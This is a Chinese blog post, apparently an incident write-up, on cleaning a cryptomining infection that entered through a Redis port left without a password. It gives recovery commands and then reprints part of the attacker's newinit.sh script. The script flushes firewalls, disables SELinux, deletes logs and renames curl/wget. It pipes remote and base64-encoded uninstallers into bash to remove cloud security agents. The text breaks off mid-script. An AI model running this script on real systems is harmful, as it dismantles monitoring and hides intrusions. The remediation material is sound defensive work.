记录newinit.sh攻击代码处理过程

原创

已于 2023-08-15 12:35:57 修改 · 1.3k 阅读

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#linux #服务器

于 2023-08-15 12:30:22 首次发布

简介

8月15日因为重新启动了服务器，未及时给redis设置密码，同时开放了6379端口，导致在几个小时内服务器被植入了挖矿程序，幸好阿里云及时给了通知提醒，花费了几个小时的时间，在网上查找了很多资料，最终将挖矿程序进行了清理，下面将过程总结下，希望有高手指导下是否有遗漏。

服务器系统是centos，其他系统对应的系统命令会有区别（比如curl，wget）

将原始 newinit.sh 放在文章末尾了

1. 在代码最后禁用了 chattr 权限

chattr 和lschattr 两个命令很重要

恢复chattr权限
chmod 774 /usr/bin/chattr

2. 使用 chattr 禁止了很多文件修改和编辑

恢复文件的编辑和删除权限
chattr -ia /etc/zzh
chattr -ia /etc/newinit.sh
chattr -R -ia /root/.ssh

删除
rm -r /etc/zzh
rm -r /etc/zzhs     
rm -r /etc/newinit.sh

3. 移动了 curl，wget 等系统命令，后续脚本还卸载和删除了阿里云的监控程序，造成系统命令不可用的假象

恢复
mv  /usr/bin/wd1 /usr/bin/wget
mv  /usr/bin/cd1 /usr/bin/curl

4. 通改写了ps，top等系统命令，通过命令查看系统进程是看不到异常的程序的

删除和移动前 先比对下文件，防止错误操作，脚本命令可能有出入，不要单纯立即执行
chattr -ia /bin/ps
rm -r /bin/ps
mv /bin/ps.original /bin/ps 

chattr -ia /bin/top
rm -r /bin/top
mv  /bin/top.original /bin/top

chattr -ia /bin/pstree
rm -r /bin/pstree
mv  /bin/pstree.original /bin/pstree

5. 需要使用 pkill -f zzh 删除进程

pkill -f zzh
rm -r /etc/zzh

6. 不只一个地方设置了定时任务，要仔细查看清理

chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d
rm -r      /etc/cron.d/zzh
/etc/crontab  以及 cron.weekly等 最好都查看下

7. 设置了免密码登录方式，必须处理，否则后患无穷(最好及时修改登录密码)

chattr -ia /root/.ssh/
chattr -ia /root/.ssh/authorized_keys
rm /root/.ssh/authorized_keys

8. 要对其改写的系统命令进行修复，否则影响后续运维

···
echo ‘1’ >/proc/sys/kernel/nmi_watchdog
清理 /etc/sysctl.conf 中的 kernel.nmi_watchdog=0

···

总结

redis 要设置密码，端口号可以变更，ip可以加白名单
清理时候要及时变更账号密码，注意清理定时脚本，观察系统cpu是否正常，如果不正常说明未处理干净
最重要的是：重要程序要定期备份，在出现问题的时候能将损失降到最低，很庆幸这个病毒脚本没有对服务器进行格式化，否则要跑路了

原始脚本
#!/bin/sh
ulimit -n 65535
chmod 777 /usr/bin/chattr
chmod 777 /bin/chattr
chattr -iua /tmp/
chattr -iua /var/tmp/
iptables -F
ufw disable
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
chattr -iua /tmp/
chattr -iua /var/tmp/
rm -rf /tmp/addres*
rm -rf /tmp/walle*
rm -rf /tmp/keys
rm -rf /var/log/syslog
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches

crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/zzhs
rtdir="/etc/zzhs"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cd1"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wd1"

mv /usr/bin/wgettnt /usr/bin/wd1
mv /usr/bin/curltnt /usr/bin/cd1
mv /usr/bin/wget1 /usr/bin/wd1
mv /usr/bin/curl1 /usr/bin/cd1
mv /usr/bin/cur /usr/bin/cd1
mv /usr/bin/cdl /usr/bin/cd1
mv /usr/bin/cdt /usr/bin/cd1
mv /usr/bin/xget /usr/bin/wd1
mv /usr/bin/wge /usr/bin/wd1
mv /usr/bin/wdl /usr/bin/wd1
mv /usr/bin/wdt /usr/bin/wd1
mv /usr/bin/wget /usr/bin/wd1
mv /usr/bin/curl /usr/bin/cd1

if ps aux | grep -i '[a]liyun'; then
  $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
  $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash
  $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  echo 'IyEvYmluL2Jhc2gKCkFFR0lTX0lOU1RBTExfRElSPSIvdXNyL2xvY2FsL2FlZ2lzIgojY2hlY2sgbGludXggR2VudG9vIG9zIAp2YXI9YGxzYl9yZWxlYXNlIC1hIHwgZ3JlcCBHZW50b29gCmlmIFsgLXogIiR7dmFyfSIgXTsgdGhlbiAKCXZhcj1gY2F0IC9ldGMvaXNzdWUgfCBncmVwIEdlbnRvb2AKZmkKY2hlY2tDb3Jlb3M9YGNhdCAvZXRjL29zLXJlbGVhc2UgMj4vZGV2L251bGwgfCBncmVwIGNvcmVvc2AKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbGlmIFsgLWYgIi9ldGMvb3MtcmVsZWFzZSIgLWEgLW4gIiR7Y2hlY2tDb3Jlb3N9IiBdOyB0aGVuCglMSU5VWF9SRUxFQVNFPSJDT1JFT1MiCglBRUdJU19JTlNUQUxMX0RJUj0iL29wdC9hZWdpcyIKZWxzZSAKCUxJTlVYX1JFTEVBU0U9Ik9USEVSIgpmaQkJCgpzdG9wX2FlZ2lzX3BraWxsKCl7CiAgICBwa2lsbCAtOSBBbGlZdW5EdW4gPi9kZXYvbnVsbCAyPiYxCiAgICBwa2lsbCAtOSBBbGlIaWRzID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpSGlwcyA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaU5ldCA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaVNlY0d1YXJkID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpWXVuRHVuVXBkYXRlID4vZGV2L251bGwgMj4mMQogICAgCiAgICAvdXNyL2xvY2FsL2FlZ2lzL0FsaU5ldC9BbGlOZXQgLS1zdG9wZHJpdmVyCiAgICAvdXNyL2xvY2FsL2FlZ2lzL2FsaWhpcHMvQWxpSGlwcyAtLXN0b3Bkcml2ZXIKICAgIC91c3IvbG9jYWwvYWVnaXMvQWxpU2VjR3VhcmQvQWxpU2VjR3VhcmQgLS1zdG9wZHJpdmVyCiAgICBwcmludGYgIiUtNDBzICU0MHNcbiIgIlN0b3BwaW5nIGFlZ2lzIiAiWyAgT0sgIF0iCn0KCiMgY2FuIG5vdCByZW1vdmUgYWxsIGFlZ2lzIGZvbGRlciwgYmVjYXVzZSB0aGVyZSBpcyBiYWNrdXAgZmlsZSBpbiBnbG9iYWxjZmcKcmVtb3ZlX2FlZ2lzKCl7Cmtwcm9iZUFycj0oCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9pbnN0YW5jZXMvYWVnaXNfZG9fc3lzX29wZW4vc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzX2luZXRfY3NrX2FjY2VwdC9zZXRfZXZlbnQiCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9pbnN0YW5jZXMvYWVnaXNfdGNwX2Nvbm5lY3Qvc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzL3NldF9ldmVudCIKICAgICIvc3lzL2tlcm5lbC9kZWJ1Zy90cmFjaW5nL2luc3RhbmNlcy9hZWdpc18vc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzX2FjY2VwdC9zZXRfZXZlbnQiCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9rcHJvYmVfZXZlbnRzIgogICAgIi91c3IvbG9jYWwvYWVnaXMvYWVnaXNfZGVidWcvdHJhY2luZy9zZXRfZXZlbnQiCiAgICAiL3Vzci9sb2NhbC9hZWdpcy9hZWdpc19kZWJ1Zy90cmFjaW5nL2twcm9iZV9ldmVudHMiCikKZm9yIHZhbHVlIGluICR7a3Byb2JlQXJyW0BdfQpkbwogICAgaWYgWyAtZiAiJHZhbHVlIiBdOyB0aGVuCiAgICAgICAgZWNobyA+ICR2YWx1ZQogICAgZmkKZG9uZQppZiBbIC1kICIke0FFR0lTX0lOU1RBTExfRElSfSIgXTt0aGVuCiAgICB1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vYWVnaXNfZGVidWcKICAgIGlmIFsgLWQgIiR7QUVHSVNfSU5TVEFMTF9ESVJ9L2Nncm91cC9jcHUiIF07dGhlbgogICAgICAgIHVtb3VudCAke0FFR0lTX0lOU1RBTExfRElSfS9jZ3JvdXAvY3B1CiAgICBmaQogICAgaWYgWyAtZCAiJHtBRUdJU19JTlNUQUxMX0RJUn0vY2dyb3VwIiBdO3RoZW4KICAgICAgICB1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vY2dyb3VwCiAgICBmaQogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX2NsaWVudAogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX3VwZGF0ZQoJcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FsaWhpZHMKICAgIHJtIC1yZiAke0FFR0lTX0lOU1RBTExfRElSfS9nbG9iYWxjZmcvZG9tYWluY2ZnLmluaQpmaQp9Cgp1bmluc3RhbGxfc2VydmljZSgpIHsKICAgCiAgIGlmIFsgLWYgIi9ldGMvaW5pdC5kL2FlZ2lzIiBdOyB0aGVuCgkJL2V0Yy9pbml0LmQvYWVnaXMgc3RvcCAgPi9kZXYvbnVsbCAyPiYxCgkJcm0gLWYgL2V0Yy9pbml0LmQvYWVnaXMgCiAgIGZpCgoJaWYgWyAkTElOVVhfUkVMRUFTRSA9ICJHRU5UT08iIF07IHRoZW4KCQlyYy11cGRhdGUgZGVsIGFlZ2lzIGRlZmF1bHQgMj4vZGV2L251bGwKCQlpZiBbIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiBdOyB0aGVuCgkJCXJtIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiA+L2Rldi9udWxsIDI+JjE7CgkJZmkKICAgIGVsaWYgWyAtZiAvZXRjL2luaXQuZC9hZWdpcyBdOyB0aGVuCiAgICAgICAgIC9ldGMvaW5pdC5kL2FlZ2lzICB1bmluc3RhbGwKCSAgICBmb3IgKCh2YXI9MjsgdmFyPD01OyB2YXIrKykpIGRvCgkJCWlmIFsgLWQgIi9ldGMvcmMke3Zhcn0uZC8iIF07dGhlbgoJCQkJIHJtIC1mICIvZXRjL3JjJHt2YXJ9LmQvUzgwYWVnaXMiCgkJICAgIGVsaWYgWyAtZCAiL2V0Yy9yYy5kL3JjJHt2YXJ9LmQiIF07dGhlbgoJCQkJcm0gLWYgIi9ldGMvcmMuZC9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCQlmaQoJCWRvbmUKICAgIGZpCgp9CgpzdG9wX2FlZ2lzX3BraWxsCnVuaW5zdGFsbF9zZXJ2aWNlCnJlbW92ZV9hZWdpcwp1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vYWVnaXNfZGVidWcKCgpwcmludGYgIiUtNDBzICU0MHNcbiIgIlVuaW5zdGFsbGluZyBhZWdpcyIgICJbICBPSyAgXSIKCgoK' | base64 -d | bash
  echo 'IyEvYmluL2Jhc2gKCiNjaGVjayBsaW51eCBHZW50b28gb3MgCnZhcj1gbHNiX3JlbGVhc2UgLWEgfCBncmVwIEdlbnRvb2AKaWYgWyAteiAiJHt2YXJ9IiBdOyB0aGVuIAoJdmFyPWBjYXQgL2V0Yy9pc3N1ZSB8IGdyZXAgR2VudG9vYApmaQoKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbHNlCglMSU5VWF9SRUxFQVNFPSJPVEhFUiIKZmkKCnN0b3BfYWVnaXMoKXsKCWtpbGxhbGwgLTkgYWVnaXNfY2xpID4vZGV2L251bGwgMj4mMQoJa2lsbGFsbCAtOSBhZWdpc191cGRhdGUgPi9kZXYvbnVsbCAyPiYxCglraWxsYWxsIC05IGFlZ2lzX2NsaSA+L2Rldi9udWxsIDI+JjEKICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgYWVnaXMiICJbICBPSyAgXSIKfQoKc3RvcF9xdWFydHooKXsKCWtpbGxhbGwgLTkgYWVnaXNfcXVhcnR6ID4vZGV2L251bGwgMj4mMQogICAgICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgcXVhcnR6IiAiWyAgT0sgIF0iCn0KCnJlbW92ZV9hZWdpcygpewppZiBbIC1kIC91c3IvbG9jYWwvYWVnaXMgXTt0aGVuCiAgICBybSAtcmYgL3Vzci9sb2NhbC9hZWdpcy9hZWdpc19jbGllbnQKICAgIHJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3VwZGF0ZQpmaQp9CgpyZW1vdmVfcXVhcnR6KCl7CmlmIFsgLWQgL3Vzci9sb2NhbC9hZWdpcyBdO3RoZW4KCXJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3F1YXJ0egpmaQp9CgoKdW5pbnN0YWxsX3NlcnZpY2UoKSB7CiAgIAogICBpZiBbIC1mICIvZXRjL2luaXQuZC9hZWdpcyIgXTsgdGhlbgoJCS9ldGMvaW5pdC5kL2FlZ2lzIHN0b3AgID4vZGV2L251bGwgMj4mMQoJCXJtIC1mIC9ldGMvaW5pdC5kL2FlZ2lzIAogICBmaQoKCWlmIFsgJExJTlVYX1JFTEVBU0UgPSAiR0VOVE9PIiBdOyB0aGVuCgkJcmMtdXBkYXRlIGRlbCBhZWdpcyBkZWZhdWx0IDI+L2Rldi9udWxsCgkJaWYgWyAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgXTsgdGhlbgoJCQlybSAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgPi9kZXYvbnVsbCAyPiYxOwoJCWZpCiAgICBlbGlmIFsgLWYgL2V0Yy9pbml0LmQvYWVnaXMgXTsgdGhlbgogICAgICAgICAvZXRjL2luaXQuZC9hZWdpcyAgdW5pbnN0YWxsCgkgICAgZm9yICgodmFyPTI7IHZhcjw9NTsgdmFyKyspKSBkbwoJCQlpZiBbIC1kICIvZXRjL3JjJHt2YXJ9LmQvIiBdO3RoZW4KCQkJCSBybSAtZiAiL2V0Yy9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCSAgICBlbGlmIFsgLWQgIi9ldGMvcmMuZC9yYyR7dmFyfS5kIiBdO3RoZW4KCQkJCXJtIC1mICIvZXRjL3JjLmQvcmMke3Zhcn0uZC9TODBhZWdpcyIKCQkJZmkKCQlkb25lCiAgICBmaQoKfQoKc3RvcF9hZWdpcwpzdG9wX3F1YXJ0egp1bmluc3RhbGxfc2VydmljZQpyZW1vdmVfYWVnaXMKcmVtb3ZlX3F1YXJ0egoKcHJpbnRmICIlLTQwcyAlNDBzXG4iICJVbmluc3RhbGxpbmcgYWVnaXNfcXVhcnR6IiAgIlsgIE9LICBdIgoKCgo=' | base64 -d | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi


if [ -f /usr/local/cloudmonitor/wrapper/bin/